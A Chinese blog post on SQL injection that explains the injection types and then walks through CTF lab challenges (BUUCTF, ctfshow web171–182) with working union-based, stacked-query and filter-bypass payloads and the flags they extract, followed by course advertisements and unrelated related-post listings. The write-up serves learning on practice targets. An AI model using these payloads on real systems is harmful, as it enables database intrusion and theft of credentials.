SQL注入基本原理&&靶场实现,零基础入门到精通,收藏这篇就够了

pikachu靶场通关之sql注入系列 1.判断是否注入(是否严格校验)(1)可控参数(id)能否影响页面显示(2)输入的SQL语句是否能报错(能通过数据库报错,看到数据库一些语句痕迹)(selectusername,passwordfromuserwhereid=?’)后面单引号或者双引号通过在URL中修改对应的id值,值为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点(3)输入的SQL语句能否不报错(我们的语句能够成功闭合)(selectusername,passwordf。...... 阅读详情

↵

一、前言

    SQL注入漏洞(SQL injection)是WEB层面高危的漏洞之一,也是常见的攻击方式。

二、本质

1、什么是SQL注入

    **SQL 注入**是一种利用应用程序对用户输入数据过滤不严格,将**恶意 SQL 代码**插入到正常 SQL 语句中,从而操控数据库查询逻辑的攻击技术。

    其核心原理是**混淆代码与数据边界**,使攻击者能够执行非授权的数据库操作。

关键条件

  1. 用户可控输入:攻击者能控制应用程序的输入参数(如 URL、表单、Cookie)。

  2. 拼接 SQL 语句:程序直接将用户输入拼接到 SQL 查询中,未做过滤或转义。

  3. 数据库权限过高:应用使用的数据库账户权限过大(如 root)

三、注入类型

1. 联合查询注入

  • 原理:通过 UNION 操作符将恶意查询拼接到原查询,合并结果集

  • 利用条件:

    • 原查询的列数与 UNION 后的查询列数一致

    • 页面有回显查询结果的功能

2. 报错注入

    **原理**:故意触发数据库报错,使错误信息中包含敏感数据

3. 布尔盲注

    **原理**:通过页面返回的布尔状态(真/假差异,逐字符推断数据

    **适用场景**:页面无回显,但会根据 SQL 执行结果返回不同内容(如登录成功/失败) 

4. 时间盲注

    **原理**:通过数据库的延时函数(如 SLEEP()、BENCHMARK()),根据响应时间判断条件真假  
    **适用场景**:页面无任何回显差异,但能感知响应延迟

5. 堆叠查询注入

    **原理**:利用分号 ; 执行多条 SQL 语句,实现增删改查操作  
    **依赖条件**:数据库支持多语句执行(如 MySQL 的 mysqli\_multi\_query)

6. 二次注入

    **原理**:恶意数据先被存储到数据库,后续查询时被触发执行  
    **特点**:绕过输入时的过滤(过滤不彻底或存储后未转义)

7. 宽字节注入

    **原理**:利用数据库字符集编码(如 GBK)的特性,绕过转义符(\\)  
    **关键**:构造 %df',与转义符 \\ 结合成宽字符(如 %df%5c 对应 運),使单引号逃逸

8、姿势总结(自己总结的,根据实际情况改变)

1、判断注入点

?id=1'                     #看是否存在sql注入
#1' or 1=1#         
#和--在sql语句中起着注释的作用,将后面的语句注释掉,+ 则代表空,#在浏览器中需要url编码	
?id=1' and 1=1 --+       #观察是否有回显
?id=1' amd 1=2 --+

2、判断当前表的字段个数

1' order by 1# --+        

3、判断显示位

?id=1' union select 1,2,3--+

4、爆出库

1'union select 1,2,database()--+
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=1  and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

5、爆出表

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'--+

6、爆出列

?id=-1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'--+

7、查询内容

?id=-1' and 1=2 union select 1,2,group_concat(字段) from 库名.表名--+
#?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

四、靶场实现

BUUCTF CTF

1、easy_sql

1、进入靶场,输入1’ or 1=1

得到

2、输入1‘ or 1#将后面的注释掉

得到回显

3、判断一下字段个数’ union select 1,2;#

select被过滤

4、输入1;show databases;#爆破库

得到该表的数据库内容

5、输入1’;show tables;#爆破表

得到两表

6、查看一下第一个表1919810931114514的表结构

有两种方式

方式一:1’; show columns from tableName;#

方式二:1’;desc tableName;#

#注意,如果tableName是纯数字,需要用包裹,比如 1’;desc 1919810931114514`;#

得到类型为字符型

方法一:因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

1';PREPARE hacker from concat('s','elect', '*from1919810931114514 ');EXECUTE hacker;#

方法二:

select*from`1919810931114514`
语句进行16进制编码,即:
73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

方法三:通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果

1';altertable words renameto words1;altertable`1919810931114514`renameto words;altertable words change flag id varchar(50);#

方法四:此题还可以通过handle直接出答案: 1';HANDLER1919810931114514OPEN;HANDLER1919810931114514READFIRST;HANDLER 1919810931114514CLOSE;

2、LoveSQL

1、使用1’出现报错说明存在SQL注入

2、使用万能密码得到

3、爆字段

check.php?username=admin ’ order by 1 %23&password=1

check.php?username=admin ’ order by 2 %23&password=1

check.php?username=admin ’ order by 3 %23&password=1

得到有3个字段

4、看回显

1' union select 1,2,3#

得出回显位在2,3

5、爆数据库

1‘ union select 1,database(),version()#

得到数据库名geek 和数据库版本

6、爆数据表

1' union select 1,2,group_concat(table_name)from information_schema.tables where

table_schema=database()#

得到两张表

7、爆破字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where

table_name='l0ve1ysq1'#

8、爆破flag

1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1

3、BABYSQL

双写绕过

进入靶场

1、使用万能密码尝试

发现有过滤但是不知过滤什么

2、查看字段

发现过滤了or,双写绕过

1’ oorr by 1#

3、爆破数据库

发现union select过滤

1’ ununionion seselectlect 1,2,database()#

双写过后

找到数据库名称

4、爆破表

1’ ununionion seselectlect 1,2,group_contact(table_name) from information_schema.tables where

table_schema=‘geek’#

双写后

1 1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom

infoorrmation_schema.tables whwhereere table_schema=‘geek’#

5、爆破列表

1 1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom

infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#

6、爆破字段

1 1’ ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

CTFshow

WEB171
1、?id=1' order by 3--+     //判断回显位有三个字段

2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名  information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表   ctfshow_user

4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
//得到字段  id,username,password

5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user--+
//得到数据  admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{87b8e647-d1cb-4b46-a2b6-ee5bcf9219fc}

web172
1、?id=1' order by 2--+     //判断回显位有两个字段
	
2、?id=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+
	//得到库名  	information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//得到表ctfshow_user,ctfshow_user2,表1没有flag

4、?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
//得到字段id,username,password,

5、?id=-1' and 1=2 union select 1,group_concat(password) from ctfshow_web.ctfshow_user2--+
//得到数据
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{ff5e89a0-2cd5-4213-963f-d0ac7267d004}


web173
1、?id=1' order by 3--+     //判断回显位有三个字段

2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名  information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表  ctfshow_user,ctfshow_user2,ctfshow_user3

4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
//得到字段  id,username,password

5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3--+
//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{25d9e295-dd78-46a7-9355-e06e53e2e357}

web174
//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
    

1、?id=1' order by 3--+     //判断回显位有2个字段

2、?id=1' and 1=2 union select null,group_concat(schema_name) from information_schema.schemata--+
//用数字代表字段时没有回显,应该是被过滤了,所以换成null
得到库名	information_schema,test,mysql,performance_schema,ctfshow_web

3、?id=1' and 1=2 union select null,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+
//因为0-9都被过滤了,所以将1-9-0替换成A-J
查询得ctfshow_userD替换为数字为ctfshow_user

4、?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到flag    ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
利用python,replace替换回来
def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }
 
    for k, v in repl.items():
        txt = txt.replace(k, v)
 
    return txt
 
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

输入:ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
替换后:  ctfshow{9a772e19-3d45-46b3-bdd4-38cce96371c3}
得到flag


web175
1、写时间盲注脚本
2、' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
直接将flag写入到靶场服务器文件中

web176
1、1' order by 4--+   //无回显判断出回显位有三位
2、1' union select 1,2,3--+  //无法查询到数据
		1'--+和1' --+ //可以查询到数据说明单引号和空格没有被过滤
		1' union Select database(),2,3--+//查询到数据库名称ctfshow_web
		所以是select被过滤了,用大写绕过
3、' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
		查询到数据库表名ctfshow_user
4、' union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
		查询到数据库列名id,username,password
5、' union Select 1,group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user--+
		查询字段数据
		//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
		ctfshow{e69b119f-1d03-4873-85ae-613dad8f4b9a}
		得到flag

web177
1、1'--+无数据显示
		--+编码后1'%23可以回显数据,所以--+被过滤
		1' %23无法显示数据,空格也被过滤
		1'%0a%23有回显
2、1'%0aor%0a1=1%23万能密码直接得到flag
3、1'%0aorder%0aby%0a4%23  //判断回显位为3
		按照上题步骤将空格和--+替换即可
'%0aunion%0aselect%0a1,group_concat(username),group_concat(password)%0afrom%0actfshow_web.ctfshow_user%23
		得到flag

web178
1、与上题一样空格和--+被过滤
万能密码直接得到flag或替换


web179
其他可替代空格的字符
URL编码	ASCII字符	说明
%20	空格	标准空格
%09	制表符	水平制表符(Tab)
%0a	换行符	新行(LF,Unix换行)
%0d	回车符	回车(CR,旧版Mac换行)
%0c	换页符	分页符(Form Feed)
空格与--+与%0a都被过滤
1、1'%0cor%0c1=1%23

web180
空格,--+,%0a,%23都被过滤了
用--%c闭合
也可以这样'or(id=26)and'1'='1
1、'union%0cselect%0c1,2,database()--%0c//得到数据库ctfshow_web
2、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
//得到表ctfshow_user
3、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
//得到列id,username,password
4、'%0cand%0c1=2%0cunion%0cselect%0c1,group_concat(username),group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user--%0c
//得到flag

web181
1、1'%0cor%0c1=1--%0c万能密码
2、'or(id=26)and'1'='1
3、-1'%0cor%0cusername%0clike%0c'flag
4、这里我们主要用到and的优先级比or高

可以看到源代码里面有and可以在and后面加or使其

在执行了and以后 or的前后都执行

所以构造payload

-1'||username='flag

web182
1、1'%0cor%0c1=1--%0c
2、'or(id=26)and'1'='1
3、-1'||(username)like'%f% //模糊匹配

至此SQL注入告一段落

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

WEB常见漏洞之SQL注入(靶场篇—1) sqli靶场版SqliLabs 是一个学习 SQL 注入的靶场,它提供了 GET 和 POST 的实验场景,涵盖了联合查询注入、基于报错的注入、基于时间的盲注、基于布尔的盲注、堆叠注入、二次注入以及各种注入绕过。 阅读详情

相关推荐

DVWA靶场SQL注入

SQL注入是指攻击者通过在Web表单输入字段、URL参数、HTTP头部等位置插入恶意的SQL代码,从而欺骗服务器执行非法的数据库操作。

Tangyoo的博客 1849

Pikachu靶场-SQL注入,零基础入门到精通,收藏这篇就够了

INSERT注入通过操纵插入的数据或执行额外操作危害数据库安全。

Javachichi的博客 1859

机器人视觉伺服控制入门:从IBVS到PBVS的实战指南(附Python代码示例)

本文深入解析机器人视觉伺服控制,对比了基于图像的视觉伺服和基于位置的视觉伺服两大核心方法。通过实战案例与Python代码示例,详细阐述了从误差计算、交互矩阵到速度控制的全流程,帮助读者掌握如何利用视觉反馈实现机器人的实时闭环控制,提升其在动态环境中的作业能力。

weixin_29061997的博客 259

SQL注入靶场通关

SQL注入靶场通关 SQL注入简介 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。 SQL注入原理 SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,使web服务器执行恶意命

龙卷风摧毁停车场 1万+

iOS反编译-hook微信之艾特所有人

all。

2501_90243249的博客 759

python语言下使用opencv接口cv2.VideoCapture()接口调用海康机器人工业相机

文章目录 目录 文章目录 前言 一、opencv接口介绍 二、调用海康机器人工业相机 1.使用海康机器人工业相机的前提 2.调用海康机器人工业相机进行显示 3.调用海康机器人工业相机进行存图 4.调用海康机器人工业相机存视频 5.调用海康机器人工业相机进行简单图像处理 总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下.

qq_39570716的博客 1万+

如何搭建 DVWA 靶场保姆级教程(非常详细)零基础入门到精通,收藏这一篇就够了

DVWA代表Damn Vulnerable Web Application,是一个用于学习和练习Web应用程序漏洞的开源漏洞应用程序。它被设计成一个易于安装和配置的漏洞应用程序,旨在帮助安全专业人员和爱好者了解和熟悉不同类型的Web应用程序漏洞。DVWA提供了一系列的漏洞场景和练习环境,用户可以通过攻击这些漏洞场景来学习和实践漏洞利用技术。这些漏洞包括常见的安全问题,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞等。通过攻击这些漏洞,用户可以了解漏洞的原理、影响和防御方法。

Javachichi的博客 1万+

RT-Thread实战:手把手教你用STM32F04ZGT6通过SPI驱动BMI088(附完整工程)

本文详细介绍了如何使用RT-Thread操作系统在STM32F04ZGT6上通过SPI接口驱动BMI088高性能6轴惯性传感器(包含陀螺仪和加速度计)。从硬件连接到软件配置,再到数据采集与处理,提供了完整的开发指南和优化技巧,帮助开发者快速实现精确的姿态测量功能。

kappa的博客 236

SQL注入基本原理&&靶场实现

本文讲解SQL注入基本原理以及靶场(CTFSHOW)实现

qq_61231688的博客 2108

字节系,ali系,ks,pdd最新抓包方案

各大厂安卓逆向

qq_38759383的博客 1145

手把手教你学simulink(44.1)--串励直流电动机场景示例:基于Simulink开发一个串励直流电动机电压控制仿真模型

高启动转矩:由于励磁绕组和电枢绕组串联连接,电机在启动时可以产生较大的转矩。速度随负载变化:由于励磁电流和电枢电流是同一电流,电机的速度会随着负载的变化而显著变化。适用于重载启动:适合用于需要高启动转矩的应用,如起重机、牵引系统等。

MHD0815的博客 340

DVWA靶场中SQL注入

但输入-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#的时候在2号位显示出很多的列,我们就看其中的user和password。4)联合查询判断可显示的注入点,当输入-1’ union select 1,2# 就能够显示1和2在的位置。2)输入1 and 1=2#正常,但是当输入1’ and 1=2#不正常,那么证明可以判断为字符型注入。

剁椒鱼头没剁椒的博客 8545

海康威视 2024届 数字逻辑设计 实习笔试分析

记录一下 5月11日晚,做的海康威视的一场笔试。分享给需要的IC人。 岗位:数字逻辑设计工程师(浙江 杭州) 转载需要本人同意! 我的见解不一定都是准确的,欢迎评论区交流指正~~

记录所学,分享知识,结识挚友 1万+

Pikachu靶场—sql注入通关

pickchu—sql注入通关

oiadkt的博客 8511

数据挖掘实战-基于LSTM时间序列模型的香烟销售预测分析

本文介绍了基于LSTM时间序列模型的香烟销售预测分析实验。实验背景为烟草市场竞争激烈,企业需提高销售预测准确性以优化生产、库存和营销策略。LSTM模型因其处理长序列数据的能力被选为预测工具。实验步骤包括数据准备、特征工程、模型构建、训练与评估及结果分析。数据集来自某市门店的销售数据,技术工具为Python 3.9和Jupyter Notebook。实验过程涵盖数据导入、预处理、产品销售与区域销售分析、销售预测(包括销售额、销量、利润及海通店销售额预测)。

m0_64336780的博客 8952

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

渗透入门靶场大盘点(非常详细)零基础入门到精通,收藏这一篇就够了

如何学习网络安全写给新手朋友入门,有了靶场丰富自己思路,也巩固自己的技术当然新手老手都可以玩玩。这期盘点渗透靶场,排名不分前后还有其他靶场欢迎留言提出!本期是盘点入门必刷后期会盘点圈内所有的靶场以及靶场的writeup欢迎在评论区留言互动!

wholeliubei的博客 1817

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

渗透测试中新手必练的15个靶场,零基础入门到精通,收藏这篇就够了

相信很多小伙伴们在学习渗透测试的时候,不知道如何开始,那么这下面15个靶场对你的学习将会有很大的帮助!

A1_3_9_7的博客 1402

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

SQL注入:pikachu靶场中的SQL注入通关

